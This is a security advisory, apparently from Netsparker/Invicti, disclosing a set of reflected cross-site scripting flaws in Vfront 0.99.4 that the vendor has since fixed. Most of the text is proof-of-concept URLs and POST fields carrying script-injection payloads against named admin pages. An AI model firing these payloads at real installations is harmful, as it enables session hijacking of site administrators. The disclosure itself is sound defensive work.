Multiple Reflected XSS Vulnerabilities in Vfront 0.99.4

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in Vfront
Affected Software: Vfront
Affected Versions: 0.99.4
Vendor Homepage: http://www.vfront.org/  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-17-023

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Vfront 0.99.4;

URL: /vfront-0.99.4/admin/doc_tecnica.php/'"--></style></scRipt><scRipt>alert(0x000D49)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000D49)</scRipt>

URL: /vfront-0.99.4/admin/export_data.php/'"--></style></scRipt><scRipt>alert(0x0005BA)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x0005BA)</scRipt>

URL: /vfront-0.99.4/admin/export_sql.php/'"--></style></scRipt><scRipt>alert(0x00045D)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x00045D)</scRipt>

URL: /vfront-0.99.4/admin/gestione_tabelle_gruppi.php?gid='"--></style></scRipt><scRipt>alert(0x0010CC)</scRipt>&mass=visibile_all
Parameter Name: gid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0010CC)</scRipt>

URL: /vfront-0.99.4/admin/gestione_tabelle_gruppi.php?gid='"--></style></scRipt><scRipt>alert(0x003029)</scRipt>&ord=2&sort=a
Parameter Name: gid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003029)</scRipt>

URL: /vfront-0.99.4/admin/gestione_tabelle_gruppi.php/'"--></style></scRipt><scRipt>alert(0x0010CA)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x0010CA)</scRipt>

URL: /vfront-0.99.4/admin/log.php/'"--></style></scRipt><scRipt>alert(0x000689)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000689)</scRipt>

URL: /vfront-0.99.4/admin/nuovo_gruppo.php
Parameter Name: nome_gr
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002E43)</scRipt>

URL: /vfront-0.99.4/admin/nuovo_gruppo.php/'"--></style></scRipt><scRipt>alert(0x000F9B)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000F9B)</scRipt>

URL: /vfront-0.99.4/admin/themes.php/'"--></style></scRipt><scRipt>alert(0x00090D)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x00090D)</scRipt>

URL: /vfront-0.99.4/admin/utenze.db.php/'"--></style></scRipt><scRipt>alert(0x0003E0)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x0003E0)</scRipt>

URL: /vfront-0.99.4/admin/xmlreport.php?creanew
Parameter Name: tipo_report
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0052C4)</scRipt>

URL: /vfront-0.99.4/admin/xmlreport.php?creanew
Parameter Name: accesso
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00508C)</scRipt>

URL: /vfront-0.99.4/admin/xmlreport.php?creanew
Parameter Name: tabella
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0052C2)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

02 Feb 2017 – Issue reported.
03 May 2017 – Vendor fixed.
25 May 2017 – Advisory released.

Solution

Download the latest version of Vfront.

Credits & Authors

These issues have been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.